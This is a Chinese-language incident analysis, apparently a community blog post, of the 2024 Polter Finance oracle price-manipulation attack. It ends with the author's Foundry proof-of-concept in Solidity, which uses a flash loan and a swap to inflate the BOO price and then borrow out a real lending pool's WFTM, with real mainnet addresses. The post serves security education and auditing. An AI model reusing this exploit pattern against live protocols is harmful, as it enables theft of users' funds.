PolterFinance协议攻击分析---预言机价格操纵

基本信息2024.11.17PolterFinance遭受预言机价格操纵攻击,损失约12Million美金。我对此攻击事件进行了梳理,分析了代码漏洞,文章结尾附上自己写的简易PoC。

基本信息

2024.11.17 Polter Finance遭受预言机价格操纵攻击,损失约12Million 美金。我对此攻击事件进行了梳理,分析了代码漏洞,文章结尾附上自己写的简易PoC。 攻击交易:https://app.blocksec.com/explorer/tx/fantom/0x5118df23e81603a64c7676dd6b6e4f76a57e4267e67507d34b0b26dd9ee10eac?line=40 twitter:https://x.com/TenArmorAlert/status/1858045212519735481

代码漏洞分析

本次攻击的漏洞是预言机价格操纵,黑客对Boo Token的价格进行了操纵。 我们先捞取下aave oracle上,Boo Token的价格:

  • 攻击发生前,BooToken在Aave Oracle上的价格:1189640730000000000
  • 攻击发生中,BooToken在Aave Oracle上的价格:1373782984830617596185131540000000000

经过价格操纵攻击,BooToken价格上涨了约1,000,000,000,000,000,000倍。 下面我们深入代码看一下漏洞根因: Polter Finance使用的Aave Oracle来查询Boo Token价格。 Aave Oracle使用两个池子进行价格计算:chainlink0和chainlink1

image.png 中间函数层层调用忽略不讲,我们看到最后计算价格时的逻辑: 这个最终价格是price是乘以一个系数,系数与池子里面两种币的余额相关。币的数量越少,价格越贵。

image.png 所以理论上,只要把池子里Boo Token的量降到最低,这个系数会接近无穷大,Boo token价格就非常高。如果此时用Boo token作为质押,借出其他币,就能获得比平时更多的其他币种。例如平常质押一个Boo token,可以借出一个wFTM,在攻击当下,可以借出100个wFTM。这就是本次攻击的基本原理。

攻击步骤梳理

上文说到Aave oracle查询boo token用到了两个池子的数据:

  • 一个是 BOO/WFTM Contract (0xed23be0cc3912808ec9863141b96a9748bc4bd89),
  • 一个是Spooky LP (0xec7178f4c41f346b2721907f5cf7628e388a7a58).

第一个池子提供闪电贷服务,可以利用闪电贷把池子里的boo token都拿出来。 第二个池子提供swap服务,可以通过swap把Boo Token都拿出来。 image.png 第2行:黑客向第一个池子进行闪电贷,提走了大部分Boo Token. 第6行:黑客执行闪电贷回调逻辑。 第8行:在回调逻辑中,黑客从第二个池子里swap出大部分的Boo Token。

下图是Swap的具体执行步骤: image.png 第10行:触发swap的回调,这样就进入了黑客真正的攻击逻辑。 第13行:在swap回调函数种(也就是攻击合约的uniswapV2Call方法中),黑客首先把闪电贷得到的+swap得到的所有Boo Token都质押(deposit)到被害合约Polter Finance中。这样后续就能从里面borrow其他币种。 第35行:黑客获取Polter Finance池子中所有的币种,除了Boo Token,还有其他8个币种。黑客后续对8种token都通过borrow的方式把token借出来。本文只举例一个币种WFTM。其他币种同理,不做赘述。 第40行:黑客开始borrow WFTM。 最后我们看一下在borrow函数中到底发生了什么: image.png 第43行:借贷前需要获取Boo token价格,这里是读取了Aave Oracle的价格。 第59行和第72行:这两行分别从上文提到的两个池子里读取价格,但是因为在前面的攻击步骤中,Boo token量已经大量减少,导致价格上升,所以这两个池子返回的价格都高的离谱,所以通过质押(deposit,发生在第13行)的Boo Token,可以把池子里所有的WFTM都借出来。 以上就是攻击的重点步骤。当然还有很多细节,比如重复攻击8次获得所有Token,偿还swap的费用,偿还闪电贷等等,因为比较简单,不一一描述。

PoC

黑客在攻击时,为了利益最大化,将polter Finance池子里8个币种都掏空了(wFTM, MIM等)。 但是我的PoC只对WFTM币种进行攻击,验证了攻击的可行性,简化攻击步骤。 最终PoC获利960666个Boo Token,根据当时的价格,约1.14M美金。

image.png

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import  "forge-std/Test.sol";
import "./interface.fantom.sol";
contract polterfinance is Test {
    address aaceOracle = 0x6808B5cE79d44E89883c5393b487c4296aBb69fe;
    address BooToken = 0x841FAD6EAe12c286d1Fd18d1d525DFfA75C7EFFE;
    address BooWFTM= 0xEd23Be0cc3912808eC9863141b96A9748bc4bd89;
    address payable WFT= payable(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
    address SpookyLP= 0xEc7178F4C41f346b2721907F5cF7628E388A7a58;
    address polterFinanceProxy=0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5;
    address pFTM = 0xbbce4b1513D4285bD7a59C2c63835535151c8e7c;
    address payable spookySwapRouter= payable(0xF491e7B69E4244ad4002BC14e878a34207E38c29);

    function setUp() external {
        vm.createSelectFork("https://rpc.ankr.com/fantom", 97508839 - 1);
        deal(address(this), 1e18);
    }
    function testAttack() external{

        uint256 booWFTMBalance = SpookyToken(BooToken).balanceOf(BooWFTM);
        console.log("before Attacking, I have Boo token: ",SpookyToken(BooToken).balanceOf(address(this))/10**18);
        IBooWTFM(BooWFTM).flash(address(this), 0, booWFTMBalance-1000000, "");
        console.log("before Attacking, I have Boo token: ",SpookyToken(BooToken).balanceOf(address(this))/10**18);
    }
    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        uint256 spLPBalance=SpookyToken(BooToken).balanceOf(SpookyLP);
         //token0 is wFTM 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83
         //token1 is booToken 0x841FAD6EAe12c286d1Fd18d1d525DFfA75C7EFFE
        UniswapV2Pair(SpookyLP).swap(0, spLPBalance-1000000, address(this), "1");       
        uint256 wftBalance=IERC20(WFT).balanceOf(address(this));
        IERC20(WFT).approve(spookySwapRouter,wftBalance);
        address[] memory tokens=new address[](2);
       tokens[0]=WFT;
       tokens[1]=BooToken;
        UniswapV2Router02(spookySwapRouter).swapExactTokensForTokensSupportingFeeOnTransferTokens(wftBalance,0,tokens,address(this),block.timestamp+1000);
        IERC20(BooToken).transfer(BooWFTM,269849355201174742984915);//这个数值是闪电贷中的fee1+手续费,我直接抄的黑客算好的值,因为不知道怎么算手续费。
    }
    function uniswapV2Call(address sender,uint amount0, uint amount1, bytes calldata data) external{
        SpookyToken(BooToken).approve(polterFinanceProxy, 1000000000000000000);
        LendingPoolProxy(polterFinanceProxy).deposit(BooToken,1000000000000000000,address(this),0);
        uint256 pFTMBalance_WFT=IERC20(WFT).balanceOf(pFTM);
        LendingPoolProxy(polterFinanceProxy).borrow(WFT,pFTMBalance_WFT,2,0,address(this));
        IERC20(BooToken).transfer(SpookyLP,1157102317495543848696788);//这个数应该是swap时Amount1的数量+0.003的手续费。我直接照抄黑客的数值。
    }
}

总结

  1. 任何预言机只要使用“池子里某一币种的余额”作为定价因素之一,就容易有漏洞。或者是池子中,两个币种的比率作为定价因素,这都是非常危险的。因为剩余量或者比率都容易通过借贷,置换的方式被操纵。
  2. 预言机即使使用了多池子取价也是不保险的,这个例子里面,aave使用了两个池子作为价格获取的出处,依旧都被操纵了。
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
黑梨888
黑梨888
web3安全,合约审计。biu~